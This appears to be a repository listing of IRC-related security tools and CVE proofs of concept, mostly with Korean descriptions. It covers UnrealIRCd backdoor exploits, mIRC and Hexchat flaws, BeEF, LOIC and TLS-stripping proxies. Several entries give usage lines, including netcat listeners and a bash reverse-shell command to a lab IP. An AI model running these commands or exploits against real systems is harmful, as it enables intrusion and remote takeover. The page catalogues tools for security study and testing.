CVE-2016-2233

CVE-2016-2233 CVE-2016-2233은 널리 사용되는 IRC 소프트웨어 Hexchat과 관련된 스택 기반 버퍼 오버플로 취약점입니다. 우리는 IRC 서버를 구축하고 그 서버에 연결된 모든 클라이언트를 충돌시키기 위해 공격을 수행합니다. 우리는 Ubuntu 12.04에서 Python을 사용하여 공격을 실행했습니다. 우리는 취약점을 수정하기 위한 패치를 만들고 다양한 테스트를 통해 패치가 실제로 작동함을 입증했습니다. Hexchat 설치 방법 시스템 환경: Ubuntu 12.04 seed Python 버전: 2.7.1...

sn0int

sn0int sn0int pronounced /snoɪnt/ is a semi-automatic OSINT framework and package manager. It's used by IT security professionals, bug bounty hunters, law enforcement agencies and in security awareness trainings to gather intelligence about a given target or about yourself. sn0int is enumerating...

Hale

정보 Hale는 모듈식 설계를 통해 C&C 서버에서 사용되는 새로운 프로토콜을 모니터링하는 새 모듈을 쉽게 개발할 수 있는 봇넷 명령 및 제어 모니터/스파이입니다. Hale는 많은 연결의 확장성을 처리하기 위해 Twisted로 개발된 IRC 및 HTTP 모니터를 제공합니다. 이 모듈들은 설정 가능한 프로토콜 문법과 봇 설정을 가지며 필요에 맞게 수정할 수도 있습니다. 캡처된 모든 로그와 파일은 데이터베이스에 저장되며, IRC의 경우 추적된 IP 번호도 저장됩니다. 운영자의 위치를 숨기기 위해 SOCKSv5 프록시를 통해 연결할...

dradis-ce

Welcome to the Dradis Framework An Automated Pentest Reporting Tool Dradis is an open-source collaboration framework and penetration testing report generator that helps InfoSec teams streamline reporting workflows. With support for importing data from tools like Burp Suite, Nessus, and Nmap, Drad...

sslnuke

sslnuke -- 인증 없는 SSL은 안전하지 않습니다! 우리는 SSL 인증 없이는 안전하지 않다는 말을 계속 들어왔습니다. SSL 연결이 캐시된 인증서로 확인되지 않으면 공격자가 쉽게 가로챌 수 있습니다. 따라서 2013년이면 이 문제가 완전히 해결되었다고 생각할 것입니다. 브라우저는 인증서를 캐시하고 사이트가 자체 서명 인증서를 제공할 때 사용자에게 매우 강력하게 경고하며, 브라우저 공급업체는 이 문제를 거의 해결했습니다. 그러나 HTTPS만 SSL을 사용하는 프로토콜은 아닙니다. 불행히도 다른 프로토콜의 많은 클라이언트...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

beef

=============================================================================== Copyright c 2006-2026 Wade Alcorn - [email protected] Browser Exploitation Framework BeEF - https://beefproject.com See the file 'doc/COPYING' for copying permission...

striptls

striptls - auditing proxy poc implementation of STARTTLS stripping attacks A generic tcp proxy implementation and audit tool to perform protocol independent ssl/tls interception and STARTTLS stripping attacks on SMTP, POP3, IMAP, FTP, NNTP, XMPP, ACAP and IRC. Python2! 🏆 Trophies CVE-2016-0772 -...

cve-2019-6453-poc

CVE-2019-6453: 사용자 정의 URI 프로토콜 핸들러를 통한 인수 주입으로 mIRC 7.55에서의 RCE mIRC에서 irc:// URI 프로토콜 핸들러를 통해 원격 코드 실행Remote Code Execution 취약점 을 발견했습니다. mIRC는 인수 목록의 끝을 표시하기 위해 -- 같은 시길을 사용하지 않기 때문에, 공격자는 irc:// 링크를 통해 mIRC에 인수를 전달하고 공격자가 제어하는 Samba 파일 서버에서 사용자 정의 mirc.ini 를 로드하여 임의 코드를 실행할 수 있습니다. ircs://도...

mIRC-CVE-2019-6453

CVE-2019-6453: mIRC 7.55에서 사용자 정의 URI 프로토콜 핸들러를 통한 인수 삽입으로 인한 RCE 자세한 설명 보기 우리는 irc:// URI 프로토콜 핸들러를 통해 mIRC에서 원격 코드 실행 취약점 을 발견했습니다. mIRC는 인수 목록의 끝을 표시하기 위해 --와 같은 기호를 사용하지 않기 때문에, 공격자는 irc:// 링크를 통해 mIRC에 인수를 전달하고 공격자가 제어하는 Samba 파일 서버에서 사용자 정의 mirc.ini 를 로드하여 임의 코드를 실행할 수 있습니다. ircs://도 동일하게...

Metasploitable2-Reconnaissance-and-UnrealIRCd-Backdoor-Exploitation

Metasploitable2: 정찰 및 UnrealIRCd 백도어 익스플로잇 면책 조항 Metasploitable2는 보안 교육 및 실습을 위해 특별히 공개된 의도적으로 취약한 가상 머신입니다. 이 프로젝트는 교육 목적으로만, 제가 소유하고 통제하는 격리된 가상 랩 환경 내에서 전적으로 수행되었습니다. 개요 이 프로젝트는 Metasploitable2에 대한 전체 공격 체인을 문서화합니다: 네트워크에서 호스트를 발견하고, 서비스를 핑거프린팅하고, UnrealIRCd의 알려진 백도어를 식별하고, 이를 익스플로잇하여 셸 접근 권한을...

LOIC

ИНФОРМАЦИЯ Low Orbit Ion Cannon LOIC — это инструмент для стресс-тестирования сети с открытым исходным кодом, написанный на C. LOIC основан на проекте LOIC от Praetox по адресу https://sourceforge.net/projects/loic/ . ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ LOIC предназначен только для образовательных целей,...

CVE-2010-2075

CVE-2010-2075 - UnrealIRCd 3.2.8.1 백도어 Bash PoC 설명 UnrealIRCd 3.2.8.1 소스 tarball에 삽입된 백도어를 위한 Bash PoC입니다. 변조된 바이너리는 IRC 포트로 전송된 AB; 접두사가 붙은 임의의 명령을 실행합니다. 사용법 chmod +x exploit.sh ./exploit.sh 예제: ./exploit.sh 192.168.1.10 6667 192.168.1.20 4444 실행 전에 리스너를 설정하세요: nc -lvnp 4444 작동 원리 백도어는 수신 데이터에...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075에 대한 익스플로잇. 이 익스플로잇은 UnrealIRCd 3.2.8.1에서 원격 명령 실행을 가능하게 합니다. 요구 사항 optparse, signal 사용법 실행할 명령을 보낼 수 있지만, 응답하지 않는 경우가 있습니다. 그럴 때는 간단히 리버스 셸을 보내고 도착을 기다리면 됩니다. python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"' Creating...

unrealircd3.2.8.1-local-exploit

Metasploitable 3에서 테스트됨 사용법 Ruby 공격자 셸에서 nc -nlvp 1111 피해자 셸에서 ruby exploit.rb 127.0.0.1 공격자 셸에서 예상 출력 listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 피해자 셸에서 python3 exploit.py -ri 127.0.0.1 -rp 6697 -cmd -li -lp 공격자 셸에서 nc -nlvp 1111...

unrealircd-backdoor-pentest-report

🛡️ UnrealIRCd 백도어 침투 테스트 격리된 교육 환경에서 UnrealIRCd 3.2.8.1 백도어CVE-2010-2075를 식별, 악용 및 조치하는 데 초점을 맞춘 통제된 침투 테스트 프로젝트입니다. 고지 사항: 이 프로젝트는 의도적으로 취약하게 구성된 실습 환경을 대상으로 교육 및 승인된 보안 테스트 목적으로만 수행되었습니다. 승인되지 않은 시스템은 대상으로 삼지 않았습니다. 📌 프로젝트 개요 이 프로젝트는 취약한 UnrealIRCd 3.2.8.1 서비스를 대상으로 한 전체 취약점 평가 및 악용 워크플로우를 보여줍니다...

cve-2010-2075-analysis

CVE-2010-2075 – UnrealIRCd 백도어 원격 코드 실행 개요 이 저장소는 UnrealIRCd 3.2.8.1에 영향을 미치는 백도어 취약점인 CVE-2010-2075의 분석 및 익스플로잇을 문서화합니다. 취약점은 대상 머신으로 Metasploitable 2를, 공격 시스템으로 Parrot OS를 사용하여 통제된 실험실 환경에서 재현되었습니다. 목표는 취약한 서비스를 식별하고, 백도어의 존재를 확인하며, 성공적인 익스플로잇의 영향을 입증하는 것이었습니다. 취약점 세부 정보 필드| 값 ---|--- CVE ID|...

CVE-2026-49097

camel-irc irc.sendTo 헤더 인젝션 재현기 CVE-2026-49097 이 프로젝트는 Apache Camel의 camel-irc 컴포넌트에서 발생하는 메시지 헤더 인젝션message-header injection 을 시연하며, CVE-2026-49097 로 추적됩니다. IrcProducer는 irc.sendTo 헤더를 읽어 나가는 IRC 메시지의 목적지를 선택합니다. 해당 헤더가 존재하면 엔드포인트에 설정된 채널 목록을 덮어씁니다 : // IrcProducer.process 영향받는 4.18.2 final Stri...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution CVE-2010-2075 취약점을 이용해 UnrealIRCd 서비스에 백도어를 설정할 수 있는 스크립트 사용법 usage: IRCBackDoorCommandExecution.py -h targethost targetport attackerhost attackerport...

[SECURITY] Fedora 44 Update: znc-1.10.3-1.fc44

ZNC is an IRC bouncer with many advanced features like detaching, multiple users, per channel playback buffer, SSL, IPv6, transparent DCC bouncing, Perl and C++ module support to name a few...